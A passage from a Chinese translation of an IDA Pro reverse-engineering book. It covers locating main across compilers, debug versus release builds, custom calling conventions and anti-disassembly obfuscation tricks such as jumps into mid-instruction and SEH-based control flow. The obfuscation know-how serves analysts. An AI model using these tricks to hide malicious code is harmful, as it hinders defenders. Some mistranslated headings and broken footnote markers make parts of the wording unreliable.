在这个例子中,该函数与我们在前面看到的与 FreeBSD 相关的`start`函数有许多相似之处。通过排除法,我们可以将`sub_401395`视为`main`的可能候选,因为它是有三个参数——![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)、![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)和![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)——调用的唯一非库函数。此外,第三个参数![](httpatomoreillycomsourcenostarchimages854095.png)与`__p__environ`库函数的返回值相关,这与`main`的第三个参数预期为环境字符串数组指针的事实很好地相符。示例代码之前还有一个对`getmainargs`库函数的调用(未显示),该函数在调用`main`之前设置`argc`和`argv`参数。这有助于加强`main`即将被调用的观念。

Visual C/C++代码的启动例程简短而清晰,如下所示:

.text:0040134B start proc near
.text:0040134B call ___security_init_cookie
.text:00401350 jmp ___tmainCRTStartup
.text:00401350 start endp


IDA 实际上是通过应用启动签名而不是通过程序链接到包含给定符号的动态库的事实来识别这两条指令中引用的库例程。IDA 的启动签名提供了轻松定位对 `main` 的初始调用的方法,如下所示:

.text:004012D8 mov eax, envp
.text:004012DD mov dword_40ACF4, eax
.text:004012E2 push eax ; envp
.text:004012E3 push argv ; argv
.text:004012E9 push argc ; argc
.text:004012EF call _main
.text:004012F4 add esp, 0Ch
.text:004012F7 mov [ebp+var_1C], eax
.text:004012FA cmp [ebp+var_20], 0
.text:004012FE jnz short $LN35
.text:00401300 push eax ; uExitCode
.text:00401301 call $LN27
.text:00401306 $LN35: ; CODE XREF: ___tmainCRTStartup+169âj
.text:00401306 call __cexit
.text:0040130B jmp short loc_40133B


在 `tmainCRTStartup` 的整个主体中,`_main` 是唯一一个带有三个精确参数的函数。进一步分析将揭示对 `_main` 的调用之前有一个对 `GetCommandLine` 库函数的调用,这又是程序 `main` 函数可能很快被调用的另一个迹象。关于启动签名的使用,重要的是要理解,在这个例子中,IDA 完全根据匹配启动签名自行生成了 `_main` 这个名称。ASCII 字符串 `main` 在这个例子使用的二进制文件中根本不存在。因此,你可以预期,每当匹配到启动签名时,`main` 都会被找到并标记,即使二进制文件已经去除了其符号。

我们将要检查的最后一个 C 编译器的启动例程是由 Borland 的免费命令行编译器生成的。^([145]) Borland 启动例程的最后几行如下所示:

.text:00401041 push offset off_4090B8
.text:00401046 push 0 ; lpModuleName
.text:00401048 call GetModuleHandleA
.text:0040104D mov dword_409117, eax
.text:00401052 push 0 ; fake return value
.text:00401054 jmp __startup


压入堆栈的指针值 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 指向一个结构,该结构反过来又包含一个指向 `main` 的指针。在 `__startup` 中,调用 `main` 的设置如下所示:

.text:00406997 mov edx, dword_40BBFC
.text:0040699D push edx
.text:0040699E mov ecx, dword_40BBF8
.text:004069A4 push ecx
.text:004069A5 mov eax, dword_40BBF4
.text:004069AA push eax
.text:004069AB call dword ptr [esi+18h]
.text:004069AE add esp, 0Ch
.text:004069B1 push eax ; status
.text:004069B2 call _exit


同样,这个例子与之前的例子有很多相似之处,即对 `main` 的调用 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 带有三个参数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)、![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)(在 `__startup` 中唯一被调用的函数)并且返回值直接传递给 `_exit` 以终止程序。对 `__startup` 的进一步分析将揭示对 Windows API 函数 `GetEnvironmentStrings` 和 `GetCommandLine` 的调用,这些通常是调用 `main` 的先兆。

最后,为了证明追踪程序的 `main` 函数并不是 C 程序特有的问题,考虑以下从编译后的 Visual Basic 6.0 程序中提取的启动代码:

.text:004018A4 start:
.text:004018A4 push offset dword_401994
.text:004018A9 call ThunRTMain


`ThunRTMain` 库函数执行的功能类似于 Linux 中的 `libc_start_main` 函数,其任务是执行在调用程序的实际 `main` 函数之前所需的任何初始化操作。为了将控制权传递给 `main` 函数,Visual Basic 使用了一种与早期示例中 Borland 代码中非常相似的机制。`ThunRTMain` 接收一个单一参数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),这是一个指向包含程序初始化所需额外信息的结构的指针,包括 `main` 函数的地址。该结构的内容如下所示:

.text:00401994 dword_401994 dd 21354256h, 2A1FF0h,
3 dup(0) ; DATA XREF: .text:start↑o
.text:004019A8 dd 7Eh, 2 dup(0)
.text:004019B4 dd 0A0000h, 409h, 0
.text:004019C0 dd offset sub_4045D0
.text:004019C4 dd offset dword_401A1C
.text:004019C8 dd 30F012h, 0FFFFFF00h, 8, 2
dup(1), 0E9h, 401944h, 4018ECh
.text:004019C8 dd 4018B0h, 78h, 7Dh, 82h, 83h, 4 dup(0)


在此数据结构中,只有一个项目 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 看起来似乎引用了代码,即指向 `sub_4045D0` 的指针,结果证明这是程序的 `main` 函数。

最后,学习如何找到 `main` 是理解可执行文件构建过程的问题。在遇到困难的情况下,使用构建你正在分析的二进制文件相同的工具构建一些简单的可执行文件(例如,在 `main` 中包含一个易于识别的字符串)可能是有益的。通过研究你的测试用例,你将了解使用特定工具集构建的二进制文件的基本结构,这可能有助于你进一步分析使用相同工具集构建的更复杂的二进制文件。

* * *

^([144]) Windows GUI 应用程序需要 `WinMain` 函数而不是 `main`。有关 `WinMain` 的文档可以在此处找到:[`msdn2.microsoft.com/en-us/library/ms633559.aspx`](http://msdn2.microsoft.com/en-us/library/ms633559.aspx)。

^([145]) 请参阅 [`forms.embarcadero.com/forms/BCC32CompilerDownload/`](http://forms.embarcadero.com/forms/BCC32CompilerDownload/)。

# 调试版本与发布版本二进制文件的区别

Microsoft 的 Visual Studio 项目通常能够构建程序的调试或发布版本。一种区分这两种版本的方法是对比项目调试版本的构建选项与发布版本的构建选项。简单的区别包括发布版本通常经过优化,^([146]),而调试版本则没有,调试版本与包含附加符号信息和调试版本的运行时库链接,而发布版本则不是。调试相关符号的添加允许调试器将汇编语言语句映射回其源代码对应项,并确定局部变量的名称.^([147)此类信息通常在编译过程中丢失。Microsoft 的运行时库的调试版本也包含调试符号,禁用优化,并启用额外的安全检查以验证某些函数参数是否有效。

当使用 IDA 反汇编时,Visual Studio 项目的调试构建与发布构建看起来显著不同。这是由于仅在调试构建中指定的编译器和链接器选项的结果,例如基本的运行时检查 (/RTCx^([148])),这些检查会在生成的二进制文件中引入额外的代码。这些额外代码的副作用是它破坏了 IDA 的启动签名匹配过程,导致 IDA 在二进制文件的调试构建中频繁无法自动定位 `main` 函数。

你可能在二进制文件的调试构建中注意到的第一个差异是,几乎所有函数都是通过 *跳转* 函数(也称为 *thunk* 函数)到达的,如下面的代码片段所示:

.text:00411050
sub_411050 proc near ; CODE XREF: start_0+3↓p
.text:00411050 jmp sub_412AE0
.text:00411050 sub_411050 endp
...
.text:0041110E start proc near
.text:0041110E jmp start_0
.text:0041110E start endp
...
.text:00411920 start_0 proc near ; CODE XREF: start↑j
.text:00411920 push ebp
.text:00411921 mov ebp, esp
.text:00411923 call sub_411050
.text:00411928 call sub_411940
.text:0041192D pop ebp
.text:0041192E retn
.text:0041192E start_0 endp


在本例中,程序入口点 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 除了跳转到实际的启动函数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 外,什么都不做。启动函数反过来调用 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 另一个函数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png),该函数只是简单地跳转到该函数的实际实现。包含仅有一个跳转语句的两个函数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 被称为 *thunk* 函数。在调试二进制文件中大量使用 thunk 函数是 IDA 签名匹配过程的一个障碍。虽然 thunk 函数的存在可能会暂时减慢你的分析速度,但使用前一小节中描述的技术,仍然可以追踪到二进制文件的 `main` 函数。

调试构建中的基本运行时检查会在进入任何函数时执行几个额外的操作。以下是一个调试构建中扩展前导部分的示例:

.text:00411500 push ebp
.text:00411501 mov ebp, esp
.text:00411503 sub esp, 0F0h
.text:00411509 push ebx
.text:0041150A push esi
.text:0041150B push edi
.text:0041150C lea edi, [ebp+var_F0]
.text:00411512 mov ecx, 3Ch
.text:00411517 mov eax, 0CCCCCCCCh
.text:0041151C rep stosd
.text:0041151E mov [ebp+var_8], 0
.text:00411525 mov [ebp+var_14], 1
.text:0041152C mov [ebp+var_20], 2
.text:00411533 mov [ebp+var_2C], 3


在本例中,该函数使用了四个局部变量,这些变量应该只需要 16 字节的堆栈空间。然而,我们看到这个函数分配了 240 字节的堆栈空间,然后继续将这 240 字节全部填充为值 `0xCC`。从 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 开始的四个线条相当于以下函数调用:

memset(&var_F0, 0xCC, 240);


字节值 `0xCC` 对应于 x86 指令集的 `int 3` 指令,这是一个软件中断,会导致程序陷入调试器。在堆栈帧中填充过量的 `0xCC` 值的意图可能是为了确保在程序以某种方式尝试从堆执行指令(一个希望在调试构建中捕获的错误条件)时,会调用调试器。

函数的局部变量从 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 开始初始化,我们注意到变量并不相邻。中间的空间将由前面的 `memset` 操作填充为 `0xCC` 的值。以这种方式在变量之间提供额外的空间可以使检测一个变量可能溢出到并损坏另一个变量的情况变得更容易。在正常情况下,除了任何声明的变量之外,不应覆盖用作填充的任何 `0xCC` 值。为了比较目的,这里显示了相同代码的发布版本:

.text:004018D0 push ebp
.text:004018D1 mov ebp, esp
.text:004018D3 sub esp, 10h
.text:004018D6 mov [ebp+var_4], 0
.text:004018DD mov [ebp+var_C], 1
.text:004018E4 mov [ebp+var_8], 2
.text:004018EB mov [ebp+var_10], 3


在发布版本中,我们看到只为局部变量请求了所需的空间 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) ,并且所有四个局部变量都彼此相邻 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 。此外,请注意,使用 `0xCC` 作为填充值的做法已被消除。

* * *

^([146]) *优化* 通常涉及消除代码中的冗余或选择更快但可能更大的代码序列,以满足开发者创建更快或更小的可执行文件的需求。优化后的代码可能不如非优化代码容易分析,因此可能被认为在程序的开发和调试阶段使用不是一个好的选择。

^([147]) gcc 还提供了在编译过程中插入调试符号的能力。

^([148]) 请参阅 [`msdn.microsoft.com/en-us/library/8wtf2dfz.aspx`](http://msdn.microsoft.com/en-us/library/8wtf2dfz.aspx)。

# 替代调用约定

在第六章中,我们讨论了在 C 和 C++代码中最常用的调用约定。尽管遵循已发布的调用约定在尝试将一个编译模块与另一个模块接口时至关重要,但没有任何规定禁止单个模块内的函数使用自定义调用约定。这在高度优化的函数中很常见,这些函数不是设计为从它们所在的模块外部调用的。

以下代码表示使用非标准调用约定的函数的前四行:

.text:000158AC sub_158AC proc near
.text:000158AC
.text:000158AC arg_0 = dword ptr 4
.text:000158AC
.text:000158AC push [esp+arg_0]
.text:000158B0 mov edx, [eax+118h]
.text:000158B6 push eax
.text:000158B7 movzx ecx, cl
.text:000158BA mov cl, [edx+ecx+0A0h]


根据 IDA 的分析,函数的堆栈帧中只有一个参数存在。然而,在仔细检查代码后,你可以看到 EAX 寄存器 ![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 CL 寄存器 ![httpatomoreillycomsourcenostarchimages854063.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 都被使用,而在函数内部没有任何初始化发生。唯一可能的结论是 EAX 和 CL 都预期由调用者初始化。因此,你应该将此函数视为一个三参数函数,而不是一个单参数函数,并且在调用它时必须特别小心,以确保三个参数都处于正确的位置。

IDA 允许您通过设置函数的“类型”来为任何函数指定自定义调用约定。这是通过通过“编辑”▸“函数”▸“设置函数类型”菜单选项输入函数原型并使用 IDA 的 `__usercall` 调用约定来完成的。图 20-1 显示了用于设置前例中 `sub_158AC` 类型的结果对话框。

![将函数指定为 __usercall](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854313.png.jpg)

图 20-1. 将函数指定为 `__usercall`

为了清晰起见,此处再次展示声明:

int __usercall sub_158AC(struc_1 *, unsigned __int8 index, int)


在这里,IDA 关键字 `__usercall` 被用于替代标准调用约定之一,如 `__cdecl` 或 `__stdcall`。使用 `__usercall` 要求我们通过将寄存器名称附加到函数名称上来告诉 IDA 用于存储函数返回值的寄存器名称(在本例中产生 `sub_158AC<eax>`)。如果函数不返回任何值,则可以省略返回寄存器。在参数列表中,每个基于寄存器的参数也必须通过将相应的寄存器名称附加到参数的数据类型上来进行注释。在设置函数类型之后,IDA 将参数信息传播到调用函数,从而提高了函数调用序列的注释质量,如下所示:

.text:00014B9F lea eax, [ebp+var_218] ; struc_1 *
.text:00014BA5 mov cl, 1 ; index
.text:00014BA7 push edx ; int
.text:00014BA8 call sub_158AC


在这里很明显,IDA 识别出 EAX 将持有函数的第一个参数 ![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),CL 将持有第二个参数 ![httpatomoreillycomsourcenostarchimages854063.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),第三个参数将放置在堆栈上 ![httpatomoreillycomsourcenostarchimages854093.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。

为了证明即使对于单个可执行文件,调用约定也可以有很大的差异,这里从同一个二进制文件中取了一个使用自定义调用约定的第二个示例,并在此展示:

.text:0001669E sub_1669E proc near
.text:0001669E
.text:0001669E arg_0 = byte ptr 4
.text:0001669E
.text:0001669E mov eax, [esi+18h]
.text:000166A1 add eax, 684h
.text:000166A6 cmp [esp+arg_0], 0


再次,IDA 表明该函数仅访问堆栈帧中的一个参数 ![图片](http://atomoreilly.com/source/nostarch/images/854061.png)。仔细检查可以清楚地看出,ESI 寄存器 ![图片](http://atomoreilly.com/source/nostarch/images/854063.png) 也应该在调用此函数之前初始化。这个例子表明,即使对于相同的二进制文件,用于存储基于寄存器的参数所选择的寄存器也可能因函数而异。

这里要吸取的教训是确保你理解函数中使用的每个寄存器的初始化方式。如果一个函数在初始化寄存器之前就使用了该寄存器,那么该寄存器正在被用来传递参数。请参阅第六章以回顾各种编译器和常见调用约定所使用的寄存器。

# 摘要

编译器特定的行为太多,无法在单章(甚至一本书)中涵盖。在其他行为中,编译器在实现各种高级构造时采用的算法以及它们选择优化生成代码的方式都不同。由于编译器的行为受到构建过程中提供给编译器的选项的强烈影响,因此,一个编译器在接收到相同的源代码但不同的构建选项时可能会生成根本不同的二进制文件。不幸的是,学会应对所有这些变化通常是一个经验问题。进一步复杂化的是,通常很难在特定的汇编语言构造上寻找帮助,因为很难构建出能够产生针对你特定情况的特定结果的搜索表达式。当这种情况发生时,你最好的资源通常是专门针对逆向工程的论坛,你可以在那里发布代码并从有类似经验的其他人的知识中受益。

# 第二十一章。混淆代码分析

![无标题图片](http://atomoreilly.com/source/nostarch/images/854059.png.jpg)

即使在理想情况下,理解反汇编列表也是一个困难的任务。高质量的反汇编对于任何想要深入了解二进制内部工作原理的人来说是必不可少的,这正是我们为什么在过去的 20 章中讨论 IDA Pro 及其功能的原因。可以说,IDA 在它所做的事情上非常有效,以至于它降低了进入二进制分析领域的门槛。虽然这当然不能仅归因于 IDA 本身,但近年来二进制逆向工程的状态取得了如此大的进步,这对任何不希望其软件被分析的人来说都是显而易见的。因此,在过去的几年中,逆向工程师和希望保持其代码秘密的程序员之间进行了一场某种形式的军备竞赛。在本章中,我们将探讨 IDA 在这场军备竞赛中的作用,并讨论一些已采取的措施来保护代码,以及如何使用 IDA 来克服这些措施。

不同的词典定义会告诉你,*混淆*是指为了防止他人理解被混淆的项目而使某物变得晦涩、令人困惑、混乱或令人困惑的行为。另一方面,反逆向工程则包含更广泛的技术范围(混淆只是其中之一),旨在阻碍对项目的分析。在本书的上下文中以及使用 IDA 的情况下,可能应用此类反逆向工程技术的项目是二进制可执行文件(例如,与源文件或硅芯片相对)。

为了考虑混淆以及反逆向工程技术在 IDA 使用中的影响,首先对其中一些技术进行分类是有用的,以便了解每种技术可能如何体现。重要的是要注意,没有一种正确的方式来分类每种技术,因为以下的一般类别在描述中经常重叠。此外,新的反逆向工程技术正在不断发展,不可能提供一个单一、全面的列表。

# 静电分析技术

防止静态分析技术的首要目的是防止分析师在不实际运行程序的情况下理解程序的本质。这些正是针对像 IDA 这样的反汇编器的技术类型,因此如果 IDA 是你的二进制逆向工程武器选择,那么这些技术就最为关注。这里讨论了几种类型的防止静态分析技术。

## 拆卸去同步化

设计用来挫败反汇编过程的较老技术之一涉及创造性地使用指令和数据来防止反汇编找到一个或多个指令的正确起始地址。以这种方式迫使反汇编器失去自我跟踪通常会导致反汇编失败,或者至少是错误的反汇编列表。

以下列表显示了 IDA 尝试反汇编 Shiva^([149])反逆向工程工具的一部分:

LOAD:0A04B0D1 call near ptr loc_A04B0D6+1
LOAD:0A04B0D6
LOAD:0A04B0D6 loc_A04B0D6: ; CODE XREF: start+11↓p
LOAD:0A04B0D6 mov dword ptr [eax-73h], 0FFEB0A40h
LOAD:0A04B0D6 start endp
LOAD:0A04B0D6
LOAD:0A04B0DD
LOAD:0A04B0DD loc_A04B0DD: ; CODE XREF: LOAD:0A04B14C↓j
LOAD:0A04B0DD loopne loc_A04B06F
LOAD:0A04B0DF mov dword ptr [eax+56h], 5CDAB950h
LOAD:0A04B0E6 iret
LOAD:0A04B0E6 ;---------------------------------------------------------------
LOAD:0A04B0E7 db 47h
LOAD:0A04B0E8 db 31h, 0FFh, 66h
LOAD:0A04B0EB ;---------------------------------------------------------------
LOAD:0A04B0EB
LOAD:0A04B0EB loc_A04B0EB: ; CODE XREF: LOAD:0A04B098↑j
LOAD:0A04B0EB mov edi, 0C7810D98h


此示例执行了一个调用![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)(也可以使用跳转)到现有指令的中间![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。由于假设函数调用会返回,因此地址`0A04B0D6`![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)处的后续指令被反汇编(错误地)。调用指令的实际目标`loc_A04B0D6+1`(`0A04B0D7`)无法反汇编,因为相关的字节已经被包含在`0A04B0D6`的 5 字节指令中。假设我们注意到这种情况,反汇编的其余部分必须被视为可疑。这一事实的证据以意外的用户空间指令![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)(在这种情况下是一个`iret`^([150]))和杂项数据字节![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)的形式出现。

注意,这种行为不仅限于 IDA。几乎所有反汇编器,无论它们使用递归下降算法还是线性扫描算法,都会成为这种技术的受害者。

在 IDA 中处理这种情况的正确方法是在包含调用目标的字节的指令中取消定义指令,然后在调用目标地址处定义一条指令,以尝试重新同步反汇编。当然,使用交互式反汇编器大大简化了这一过程。使用 IDA,将光标定位在![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)处进行快速编辑▸取消定义(快捷键 U),然后重新定位光标在地址`0A04B0D7`处进行编辑▸代码(快捷键 C),结果如这里所示:

LOAD:0A04B0D1 call loc_A04B0D7
LOAD:0A04B0D1 ;------------------------------------------------------------
LOAD:0A04B0D6 db 0C7h ; ¦
LOAD:0A04B0D7 ;------------------------------------------------------------
LOAD:0A04B0D7
LOAD:0A04B0D7 loc_A04B0D7: ; CODE XREF: start+11↑p
LOAD:0A04B0D7 pop eax
LOAD:0A04B0D8 lea eax, [eax+0Ah]
LOAD:0A04B0DB
LOAD:0A04B0DB loc_A04B0DB: ; CODE XREF: start:loc_A04B0DB↑j
LOAD:0A04B0DB jmp short near ptr loc_A04B0DB+1
LOAD:0A04B0DB start endp
LOAD:0A04B0DB
LOAD:0A04B0DB ;------------------------------------------------------------
LOAD:0A04B0DD db 0E0h ; a


到目前为止,这一点更加明显,地址`0A04B0D6`的字节![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)永远不会被执行。地址`0A04B0D7`的指令![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)(调用的目标)用于从栈中清除(虚假调用)的返回地址,然后继续执行。请注意,不久之后,这种技术再次被使用,这次使用的是地址`0A04B0DB`的 2 字节跳转指令![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png),它实际上跳到了自身的中间。在这里,我们又不得不取消定义一条指令,以便到达下一条指令的开始。取消定义(在`0A04B0DB`)和重新定义(在`0A04B0DC`)过程的一次更多应用产生了以下反汇编:

LOAD:0A04B0D7 pop eax
LOAD:0A04B0D8 lea eax, [eax+0Ah]
LOAD:0A04B0D8 ; --------------------------------------------------------------
LOAD:0A04B0DB db 0EBh ; d
LOAD:0A04B0DC ; --------------------------------------------------------------
LOAD:0A04B0DC jmp eax
LOAD:0A04B0DC start endp


跳转指令的目标竟然又是另一个跳转指令 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。然而,在这种情况下,由于跳转的目标位于寄存器(EAX)中,并在运行时计算,因此反汇编器(以及可能对人类分析师造成混淆)无法跟踪跳转目标。这是一个另一种反静态分析技术的例子,在 动态计算目标地址 中进行了讨论。在这种情况下,EAX 寄存器中的值并不难确定,因为跳转之前有一个相对简单的指令序列。![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)处的`pop`指令将上一个示例中的调用指令的返回地址(`0A04B0D6`)加载到 EAX 寄存器中,而随后的指令![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)的效果是将 EAX 增加 10。因此,跳转指令的目标是`0A04B0E0`,这是我们必须继续反汇编过程的位置。

从不同的二进制文件中提取的最终不同步示例演示了如何利用处理器标志将条件跳转转换为绝对跳转。以下反汇编示例展示了 x86 `Z`标志的使用目的:

.text:00401000 xor eax, eax
.text:00401002 jz short near ptr loc_401009+1
.text:00401004 mov ebx, [eax]
.text:00401006 mov [ecx-4], ebx
.text:00401009
.text:00401009 loc_401009: ; CODE XREF: .text:00401002↑j
.text:00401009 call near ptr 0ADFEFFC6h
.text:0040100E ficom word ptr [eax+59h]


在这里,`xor`指令![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)用于将 EAX 寄存器清零并设置 x86 `Z`标志。程序员知道`Z`标志被设置,因此使用跳转零(`jz`)指令![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),这将始终被执行,以达到无条件跳转的效果。因此,跳转和跳转目标之间的指令![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)和![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)将永远不会被执行,并且仅用于混淆未能意识到这一事实的分析员。请注意,再次强调,此示例通过跳入指令的中间部分![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png)来隐藏实际的跳转目标。正确反汇编的代码应如下所示:

.text:00401000 xor eax, eax
.text:00401002 jz short loc_40100A
.text:00401004 mov ebx, [eax]
.text:00401006 mov [ecx-4], ebx
.text:00401006 ; -------------------------------------------------------------
.text:00401009 db 0E8h ; F
.text:0040100A ; -------------------------------------------------------------
.text:0040100A
.text:0040100A loc_40100A: ; CODE XREF: .text:00401002↑j
.text:0040100A mov eax, 0DEADBEEFh
.text:0040100F push eax
.text:00401010 pop ecx


跳转的实际目标 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 已经被揭示,同样,最初导致不同步的额外字节 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 也已被发现。当然,在执行条件跳转之前,可以使用更多迂回的方式来设置和测试标志。分析此类代码的难度随着可能影响 CPU 标志位之前操作的数量而增加。

## 动态计算目标地址

不要将本节的标题与反动态分析技术混淆。短语“动态计算”仅仅意味着执行流程将流向的地址是在运行时计算的。在本节中,我们将讨论几种可以派生此类地址的方法。这些技术的目的是为了隐藏(混淆)二进制程序将遵循的实际控制流路径,以避免静态分析过程的窥探。

上一节中展示了这种技术的一个示例。该示例使用`call`语句将返回地址放置在栈上。返回地址被直接从栈中弹出并放入寄存器中,然后向寄存器中添加一个常数,以派生最终的目标地址,最终通过执行跳转到寄存器内容指定的位置来达到该地址。

可以开发出无限数量的类似代码序列,用于派生目标地址并将控制权转移到该地址。以下代码展示了 Shiva 初始启动序列的另一种动态计算目标地址的方法:

LOAD:0A04B3BE mov ecx, 7F131760h ; ecx = 7F131760
LOAD:0A04B3C3 xor edi, edi ; edi = 00000000
LOAD:0A04B3C5 mov di, 1156h ; edi = 00001156
LOAD:0A04B3C9 add edi, 133AC000h ; edi = 133AD156
LOAD:0A04B3CF xor ecx, edi ; ecx = 6C29C636
LOAD:0A04B3D1 sub ecx, 622545CEh ; ecx = 0A048068
LOAD:0A04B3D7 mov edi, ecx ; edi = 0A048068
LOAD:0A04B3D9 pop eax
LOAD:0A04B3DA pop esi
LOAD:0A04B3DB pop ebx
LOAD:0A04B3DC pop edx
LOAD:0A04B3DD pop ecx
LOAD:0A04B3DE xchg edi, [esp] ; TOS = 0A048068
LOAD:0A04B3E1 retn ; return to 0A048068


右侧边栏中的注释记录了在每条指令下对各种 CPU 寄存器所做的更改。这个过程最终会将一个派生值移动到栈顶位置(`TOS`)![httpatomoreillycomsourcenostarchimages854061.png],这会导致返回指令将控制权转移到计算出的位置(在本例中为`0A048068`)。这样的代码序列可能会显著增加静态分析期间必须执行的工作量,因为分析师必须手动运行代码以确定程序中实际的控制流路径。

近年来,已经开发并使用了更多复杂类型的控制流隐藏技术。在最复杂的情况下,程序将使用多个线程或子进程来计算控制流信息,并通过某种形式的过程间通信(对于子进程)或同步原语(对于多个线程)接收该信息。在这种情况下,静态分析可能变得极其困难,因为有必要理解多个可执行实体的行为,以及这些实体交换信息的确切方式。例如,一个线程可能在一个共享信号量^([151])对象上等待,而第二个线程计算值或修改代码,一旦第二个线程通过信号量发出完成信号,第一个线程将使用这些值或代码。

另一种技术,常用于面向 Windows 的恶意软件中,涉及配置异常处理程序,^([152]有意引发异常,然后在处理异常时操纵进程寄存器的状态。以下示例被 tElock 反逆向工程工具用于混淆程序的实际控制流:

.shrink:0041D07A call $+5
.shrink:0041D07F pop ebp
.shrink:0041D080 lea eax, [ebp+46h] ; eax holds 0041D07F + 46h
.shrink:0041D081 inc ebp
.shrink:0041D083 push eax
.shrink:0041D084 xor eax, eax
.shrink:0041D086 push dword ptr fs:[eax]
.shrink:0041D089 mov fs:[eax], esp
.shrink:0041D08C int 3 ; Trap to Debugger
